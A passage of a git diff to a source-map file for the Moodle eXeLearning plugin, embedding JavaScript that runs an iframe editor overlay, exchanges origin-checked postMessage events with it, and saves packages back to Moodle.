updateContentUrlRevision(activityIframe.src, revision);\n    if (refreshedSrc && refreshedSrc !== activityIframe.src) {\n        activityIframe.src = refreshedSrc;\n    }\n};\n\n/**\n * Set the save button label from a language string, with a fallback.\n *\n * @param {string} key The language string key.\n * @param {string} fallback The fallback text if the string cannot be loaded.\n * @returns {Promise<void>}\n */\nconst setSaveLabel = async(key, fallback) => {\n    if (!saveBtn) {\n        return;\n    }\n    try {\n        const text = await getString(key, key === 'closebuttontitle' ? 'core' : 'mod_exelearning');\n        saveBtn.innerHTML = '<i class=\"fa fa-graduation-cap mr-1\" aria-hidden=\"true\"></i> ' + text;\n    } catch {\n        saveBtn.innerHTML = '<i class=\"fa fa-graduation-cap mr-1\" aria-hidden=\"true\"></i> ' + fallback;\n    }\n};\n\n/**\n * Build and append the saving loading modal element.\n *\n * @returns {Promise<HTMLElement>} The created modal element.\n */\nconst createLoadingModal = async() => {\n    const modal = document.createElement('div');\n    modal.className = 'exeweb-loading-modal';\n    modal.id = 'exeweb-loading-modal';\n\n    let savingText = 'Saving...';\n    let waitText = 'Please wait while the file is being saved.';\n    try {\n        savingText = await getString('saving', 'mod_exelearning');\n        waitText = await getString('savingwait', 'mod_exelearning');\n    } catch {\n        // Use defaults.\n    }\n\n    modal.innerHTML = `\n        <div class=\"exeweb-loading-modal__content\">\n            <div class=\"exeweb-loading-modal__spinner\"></div>\n            <h3 class=\"exeweb-loading-modal__title\">${savingText}</h3>\n            <p class=\"exeweb-loading-modal__message\">${waitText}</p>\n        </div>\n    `;\n\n    document.body.appendChild(modal);\n    return modal;\n};\n\n/**\n * Show the saving loading modal, creating it if necessary.\n *\n * @returns {Promise<void>}\n */\nconst showLoadingModal = async() => {\n    if (!loadingModal) {\n        loadingModal = await createLoadingModal();\n    }\n    loadingModal.classList.add('is-visible');\n};\n\n/**\n * Hide the saving loading modal if it exists.\n *\n * @returns {void}\n */\nconst hideLoadingModal = () => {\n    if (loadingModal) {\n        loadingModal.classList.remove('is-visible');\n    }\n};\n\n/**\n * Remove the saving loading modal from the DOM.\n *\n * @returns {void}\n */\nconst removeLoadingModal = () => {\n    if (loadingModal) {\n        loadingModal.remove();\n        loadingModal = null;\n    }\n};\n\n/**\n * Ask the user to confirm closing when there are unsaved changes.\n *\n * @returns {Promise<boolean>} True if the close should be cancelled.\n */\nconst checkUnsavedChanges = async() => {\n    if (!hasUnsavedChanges) {\n        return false;\n    }\n    let message = 'You have unsaved changes. Are you sure you want to close?';\n    try {\n        message = await getString('unsavedchanges', 'mod_exelearning');\n    } catch {\n        // Use default.\n    }\n    return !window.confirm(message);\n};\n\n/**\n * Post a message to the embedded editor iframe.\n *\n * @param {object} message The message payload to send.\n * @param {Transferable[]} [transfer] Optional transferable objects.\n * @returns {void}\n */\nconst postToEditor = (message, transfer) => {\n    if (!iframe?.contentWindow) {\n        return;\n    }\n    if (transfer && transfer.length) {\n        iframe.contentWindow.postMessage(message, editorOrigin, transfer);\n    } else {\n        iframe.contentWindow.postMessage(message, editorOrigin);\n    }\n};\n\n/**\n * Clear the pending OPEN_FILE response timeout.\n *\n * @returns {void}\n */\nconst clearOpenResponseTimer = () => {\n    if (openResponseTimer) {\n        clearTimeout(openResponseTimer);\n        openResponseTimer = null;\n    }\n};\n\n/**\n * Schedule a retry of the initial package open, with backoff.\n *\n * @returns {void}\n */\nconst scheduleOpenRetry = () => {\n    if (openAttemptCount >= MAX_OPEN_ATTEMPTS) {\n        return;\n    }\n\n    setTimeout(() => {\n        openInitialPackage();\n    }, 300 * openAttemptCount);\n};\n\n/**\n * Arm a timeout that retries the open request if no response arrives.\n *\n * @returns {void}\n */\nconst armOpenResponseTimer = () => {\n    clearOpenResponseTimer();\n    openResponseTimer = setTimeout(() => {\n        if (!openRequestSent) {\n            return;\n        }\n\n        Log.error('[editor_modal] OPEN_FILE timeout waiting for response');\n        openRequestSent = false;\n        scheduleOpenRetry();\n    }, OPEN_RESPONSE_TIMEOUT_MS);\n};\n\n/**\n * Toggle the saving state, updating the button and loading modal.\n *\n * @param {boolean} saving Whether a save is in progress.\n * @returns {Promise<void>}\n */\nconst setSavingState = async(saving) => {\n    isSaving = saving;\n    if (!saveBtn) {\n        return;\n    }\n    saveBtn.disabled = saving;\n    if (saving) {\n        await setSaveLabel('saving', 'Saving...');\n        await showLoadingModal();\n    } else {\n        await setSaveLabel('savetomoodle', 'Save to Moodle');\n        hideLoadingModal();\n    }\n};\n\n/**\n * Fetch the current package and send it to the editor to open.\n *\n * @returns {Promise<void>}\n */\nconst openInitialPackage = async() => {\n    if (session?.skipOpenFileOnInit) {\n        return;\n    }\n    if (openRequestSent || !session?.packageUrl) {\n        return;\n    }\n\n    openRequestSent = true;\n    openAttemptCount += 1;\n\n    try {\n        const response = await fetch(session.packageUrl, {credentials: 'include'});\n        if (!response.ok) {\n            throw new Error(`HTTP ${response.status}: ${response.statusText}`);\n        }\n\n        const bytes = await response.arrayBuffer();\n        openRequestId = nextRequestId('open');\n\n        postToEditor({\n            type: 'OPEN_FILE',\n            requestId: openRequestId,\n            data: {\n                bytes,\n                filename: 'package.elpx',\n            },\n        });\n\n        armOpenResponseTimer();\n    } catch (error) {\n        Log.error('[editor_modal] Failed to open package:', error);\n        openRequestSent = false;\n        scheduleOpenRetry();\n    }\n};\n\n/**\n * Upload an exported package to Moodle and refresh the activity view.\n *\n * @param {object} payload The export payload from the editor.\n * @returns {Promise<void>}\n */\nconst uploadExportedFile = async(payload) => {\n    const bytes = payload?.bytes;\n    if (!bytes) {\n        throw new Error('Missing export bytes');\n    }\n\n    const filename = payload.filename || 'package.elpx';\n    const mimeType = payload.mimeType || 'application/zip';\n\n    const blob = new Blob([bytes], {type: mimeType});\n    const formData = new FormData();\n    formData.append('package', blob, filename);\n    formData.append('format', FIXED_EXPORT_FORMAT);\n    formData.append('cmid', String(session.cmid));\n    formData.append('sesskey', session.sesskey);\n\n    const response = await fetch(session.saveUrl, {\n        method: 'POST',\n        body: formData,\n        credentials: 'include',\n    });\n\n    const result = await response.json();\n    if (!response.ok || !result?.success) {\n        throw new Error(result?.error || `Save failed (${response.status})`);\n    }\n\n    const updatedPackageUrl = updatePackageUrlRevision(session.packageUrl, result.revision);\n    persistUpdatedPackageUrl(updatedPackageUrl);\n    refreshActivityIframe(result.revision);\n\n    hasUnsavedChanges = false;\n    await setSaveLabel('savedsuccess', 'Saved successfully');\n    close(true);\n\n    // Reload the activity page so the server-rendered blocks (detected gradable\n    // iDevices banner, participation summary, gradebook-driven UI) reflect the\n    // re-synced gradebook after save.php re-scanned the package. Refreshing only\n    // the content iframe would leave those stale (e.g. a removed trueorfalse\n    // would still show in \"Gradable iDevices detected\").\n    window.location.reload();\n};\n\n/**\n * Request the editor to export the current document for saving.\n *\n * @returns {Promise<void>}\n */\nconst requestExport = async() => {\n    if (isSaving || !iframe?.contentWindow) {\n        return;\n    }\n\n    await setSavingState(true);\n    exportRequestId = nextRequestId('export');\n\n    postToEditor({\n        type: 'REQUEST_EXPORT',\n        requestId: exportRequestId,\n        data: {\n            format: FIXED_EXPORT_FORMAT,\n            filename: 'package.elpx',\n        },\n    });\n};\n\n/**\n * Check that a postMessage event really comes from the embedded editor frame.\n *\n * The legacy eXeWeb bridge is kept for older static editor builds, but it must\n * enforce the same source/origin boundary as the modern bridge (RIE-010).\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {boolean} Whether the event belongs to the active editor iframe.\n */\nconst isEditorBridgeMessage = (event) => {\n    if (!iframe?.contentWindow || event.source !== iframe.contentWindow || !event.data) {\n        return false;\n    }\n    if (editorOrigin !== '*' && event.origin !== editorOrigin) {\n        return false;\n    }\n    return true;\n};\n\n/**\n * Handle protocol messages received from the embedded editor bridge.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise<void>}\n */\nconst handleBridgeMessage = async(event) => {\n    if (!isEditorBridgeMessage(event)) {\n        return;\n    }\n\n    const data = event.data;\n\n    switch (data.type) {\n        case 'EXELEARNING_READY':\n            postToEditor({\n                type: 'CONFIGURE',\n                requestId: nextRequestId('configure'),\n                data: {\n                    hideUI: {\n                        fileMenu: true,\n                        saveButton: true,\n                        userMenu: true,\n                    },\n                },\n            });\n            openInitialPackage();\n            break;\n\n        case 'DOCUMENT_LOADED':\n            if (saveBtn && !isSaving) {\n                saveBtn.disabled = false;\n            }\n            break;\n\n        case 'DOCUMENT_CHANGED':\n            hasUnsavedChanges = true;\n            break;\n\n        case 'OPEN_FILE_SUCCESS':\n            if (data.requestId === openRequestId && saveBtn && !isSaving) {\n                saveBtn.disabled = false;\n                openRequestSent = false;\n                openAttemptCount = 0;\n                clearOpenResponseTimer();\n            }\n            break;\n\n        case 'OPEN_FILE_ERROR':\n            if (data.requestId === openRequestId) {\n                Log.error('[editor_modal] OPEN_FILE_ERROR:', data.error);\n                openRequestSent = false;\n                clearOpenResponseTimer();\n                scheduleOpenRetry();\n            }\n            break;\n\n        case 'EXPORT_FILE':\n            if (data.requestId === exportRequestId) {\n                try {\n                    await uploadExportedFile(data);\n                } catch (error) {\n                    Log.error('[editor_modal] Upload failed:', error);\n                    await setSavingState(false);\n                }\n            }\n            break;\n\n        case 'REQUEST_EXPORT_ERROR':\n            if (data.requestId === exportRequestId) {\n                Log.error('[editor_modal] REQUEST_EXPORT_ERROR:', data.error);\n                await setSavingState(false);\n            }\n            break;\n\n        default:\n            break;\n    }\n};\n\n/**\n * Handle legacy bridge messages from older editor builds.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise<void>}\n */\nconst handleLegacyBridgeMessage = async(event) => {\n    if (!isEditorBridgeMessage(event)) {\n        return;\n    }\n\n    const data = event.data;\n    if (!data || data.source !== 'exeweb-editor') {\n        return;\n    }\n\n    if (data.type === 'editor-ready' && data.data?.packageUrl) {\n        const incomingUrl = data.data.packageUrl;\n        if (incomingUrl !== session?.packageUrl) {\n            session.packageUrl = incomingUrl;\n            openRequestSent = false;\n            openAttemptCount = 0;\n        }\n        openInitialPackage();\n    }\n\n    if (data.type === 'request-save') {\n        await requestExport();\n    }\n};\n\n/**\n * Dispatch an incoming window message to both bridge handlers.\n *\n * @param {MessageEvent} event The incoming message event.\n * @returns {Promise<void>}\n */\nconst handleMessage = async(event) => {\n    await handleBridgeMessage(event);\n    await handleLegacyBridgeMessage(event);\n};\n\n/**\n * Close the editor overlay when the Escape key is pressed.\n *\n * @param {KeyboardEvent} event The keydown event.\n * @returns {void}\n */\nconst handleKeydown = (event) => {\n    if (event.key === 'Escape') {\n        close(false);\n    }\n};\n\n/**\n * Close the editor overlay and tear down its state and listeners.\n *\n * @param {boolean} skipConfirm Skip the unsaved-changes confirmation when true.\n * @returns {Promise<void>}\n */\nexport const close = async(skipConfirm) => {\n    if (!overlay) {\n        return;\n    }\n    if (!skipConfirm) {\n        const shouldCancel = await checkUnsavedChanges();\n        if (shouldCancel) {\n            return;\n        }\n    }\n\n    const wasShowingLoader = isSaving || (skipConfirm === true);\n\n    overlay.remove();\n    overlay = null;\n    iframe = null;\n    saveBtn = null;\n    session = null;\n    openRequestSent = false;\n    openRequestId = null;\n    exportRequestId = null;\n    isSaving = false;\n    hasUnsavedChanges = false;\n    openAttemptCount = 0;\n    clearOpenResponseTimer();\n\n    document.body.style.overflow = '';\n    window.removeEventListener('message', handleMessage);\n    document.removeEventListener('keydown', handleKeydown);\n\n    if (wasShowingLoader) {\n        setTimeout(() => {\n            hideLoadingModal();\n            removeLoadingModal();\n        }, 1500);\n    } else {\n        hideLoadingModal();\n        removeLoadingModal();\n    }\n};\n\n/**\n * Open the embedded editor overlay for the given activity.\n *\n * @param {number|string} cmid The course module id.\n * @param {string} editorUrl The URL of the embedded editor.\n * @param {string} activityName The activity name shown in the header.\n * @param {string} packageUrl The URL of the current package file.\n * @param {string} saveUrl The endpoint used to save exported packages.\n * @param {string} sesskey The Moodle session key.\n * @returns {Promise<void>}\n */\nexport const open = async(cmid, editorUrl, activityName, packageUrl, saveUrl, sesskey) => {\n    Log.debug('[editor_modal] Opening editor for cmid:', cmid);\n\n    if (overlay) {\n        return;\n    }\n\n    editorOrigin = getOrigin(editorUrl);\n    openAttemptCount = 0;\n    session = {\n        cmid,\n        editorUrl,\n        packageUrl: packageUrl || '',\n        skipOpenFileOnInit: !!packageUrl,\n        saveUrl,\n        sesskey,\n    };\n\n    overlay = document.createElement('div');\n    overlay.id = 'exeweb-editor-overlay';\n    overlay.className = 'exeweb-editor-overlay';\n\n    const header = document.createElement('div');\n    header.className = 'exeweb-editor-header';\n\n    const title = document.createElement('span');\n    title.className = 'exeweb-editor-title';\n    title.textContent = activityName || '';\n    header.appendChild(title);\n\n    const buttonGroup = document.createElement('div');\n    buttonGroup.className = 'exeweb-editor-buttons';\n\n    saveBtn = document.createElement('button');\n    saveBtn.className = 'btn btn-primary mr-2';\n    saveBtn.id = 'exeweb-editor-save';\n    saveBtn.disabled = true;\n    await setSaveLabel('savetomoodle', 'Save to Moodle');\n    saveBtn.addEventListener('click', requestExport);\n\n    const closeBtn = document.createElement('button');\n    closeBtn.className = 'btn btn-secondary';\n    closeBtn.id = 'exeweb-editor-close';\n    try {\n        closeBtn.textContent = await getString('closebuttontitle', 'core');\n    } catch {\n        closeBtn.textContent = 'Close';\n    }\n    closeBtn.addEventListener('click', () => close(false));\n\n    buttonGroup.appendChild(saveBtn);\n    buttonGroup.appendChild(closeBtn);\n    header.appendChild(buttonGroup);\n    overlay.appendChild(header);\n\n    iframe = document.createElement('iframe');\n    iframe.className = 'exeweb-editor-iframe';\n    iframe.src = editorUrl;\n    iframe.setAttribute('allow', 'fullscreen');\n    iframe.setAttribute('frameborder', '0');\n    iframe.addEventListener('load', () => {\n        if (!openRequestSent && session?.packageUrl) {\n            openInitialPackage();\n        }\n    });\n    overlay.appendChild(iframe);\n\n    document.body.appendChild(overlay);\n    document.body.style.overflow = 'hidden';\n\n    window.addEventListener('message', handleMessage);\n    document.addEventListener('keydown', handleKeydown);\n};\n\n/**\n * Initialise the delegated click handler that opens the editor.\n *\n * @returns {void}\n */\nexport const init = () => {\n    document.addEventListener('click', (event) => {\n        const button = event.target.closest('[data-action=\"mod_exelearning/editor-open\"]');\n        if (!button) {\n            return;\n        }\n\n        event.preventDefault();\n        open(\n            button.dataset.cmid,\n            button.dataset.editorurl,\n            button.dataset.activityname,\n            button.dataset.packageurl,\n            button.dataset.saveurl,\n            button.dataset.sesskey\n        );\n    });\n};\n"],"names":["overlay","iframe","saveBtn","loadingModal","editorOrigin","openRequestSent","openRequestId","exportRequestId","isSaving","hasUnsavedChanges","session","requestCounter","openAttemptCount","openResponseTimer","nextRequestId","prefix","Date","now","refreshActivityIframe","revision","activityIframe","document","getElementById","src","refreshedSrc","url","normalizedRevision","String","replace","updated","separator","includes","updateContentUrlRevision","setSaveLabel","async","key","fallback","text","innerHTML","showLoadingModal","modal","createElement","className","id","savingText","waitText","body","appendChild","createLoadingModal","classList","add","hideLoadingModal","remove","removeLoadingModal","postToEditor","message","transfer","_iframe","contentWindow","length","postMessage","clearOpenResponseTimer","clearTimeout","scheduleOpenRetry","setTimeout","openInitialPackage","setSavingState","saving","disabled","_session","skipOpenFileOnInit","_session2","packageUrl","response","fetch","credentials","ok","Error","status","statusText","bytes","arrayBuffer","type","requestId","data","filename","error","uploadExportedFile","payload","mimeType","blob","Blob","formData","FormData","append","cmid","sesskey","saveUrl","method","result","json","success","newUrl","selector","openButton","querySelector","dataset","packageurl","persistUpdatedPackageUrl","updatePackageUrlRevision","close","window","location","reload","requestExport","_iframe2","format","isEditorBridgeMessage","event","_iframe3","source","origin","handleMessage","hideUI","fileMenu","saveButton","userMenu","handleBridgeMessage","_data$data","incomingUrl","_session3","handleLegacyBridgeMessage","handleKeydown","skipConfirm","confirm","checkUnsavedChanges","wasShowingLoader","style","overflow","removeEventListener","open","editorUrl","activityName","debug","URL","href","getOrigin","header","title","textContent","buttonGroup","addEventListener","closeBtn","setAttribute","_session4","button","target","closest","preventDefault","editorurl","activityname","saveurl"],"mappings":"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"}
\ No newline at end of file
+{"version":3,"file":"editor_modal.min.js","sources":["../src/editor_modal.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n\nimport {get_string as getString} from 'core/str';\nimport Log from 'core/log';\n\nlet overlay = null;\nlet iframe = null;\nlet saveBtn = null;\nlet loadingModal = null;\nlet editorOrigin = '*';\nlet openRequestSent = false;\nlet openRequestId = null;\nlet exportRequestId = null;\nlet isSaving = false;\nlet hasUnsavedChanges = false;\nlet session = null;\nlet requestCounter = 0;\nlet openAttemptCount = 0;\nlet openResponseTimer = null;\n\nconst MAX_OPEN_ATTEMPTS = 3;\nconst OPEN_RESPONSE_TIMEOUT_MS = 3000;\nconst FIXED_EXPORT_FORMAT = 'elpx';\n\n/**\n * Resolve the origin of a URL, falling back to a wildcard on failure.\n *\n * @param {string} url The URL to inspect.\n * @returns {string} The resolved origin, or '*' if it cannot be parsed.\n */\nconst getOrigin = (url) => {\n    try {\n        return new URL(url, window.location.href).origin;\n    } catch {\n        return '*';\n    }\n};\n\n/**\n * Generate a unique request identifier for bridge messages.\n *\n * @param {string} prefix A prefix describing the request type.\n * @returns {string} A unique request identifier.\n */\nconst nextRequestId = (prefix) => {\n    requestCounter += 1;\n    return `${prefix}-${Date.now()}-${requestCounter}`;\n};\n\n/**\n * Rewrite the revision segment of a package URL and add a cache buster.\n *\n * @param {string} url The original package URL.\n * @param {number|string} revision The new revision number.\n * @returns {string} The updated URL, or the original if it cannot be rewritten.\n */\nconst updatePackageUrlRevision = (url, revision) => {\n    if (!url || !revision) {\n        return url;\n    }\n    const normalizedRevision = String(revision).replace(/[^0-9]/g, '');\n    if (!normalizedRevision) {\n        return url;\n    }\n    const updated = url.replace(/(\\/mod_exelearning\\/package\\/)(\\d+)(\\/)/, `$1${normalizedRevision}$3`);\n    if (updated === url) {\n        return url;\n    }\n    const separator = updated.includes('?') ? '&' : '?';\n    return `${updated}${separator}v=${normalizedRevision}-${Date.now()}`;\n};\n\n/**\n * Persist an updated package URL on the session and the open button dataset.\n *\n * @param {string} newUrl The new package URL 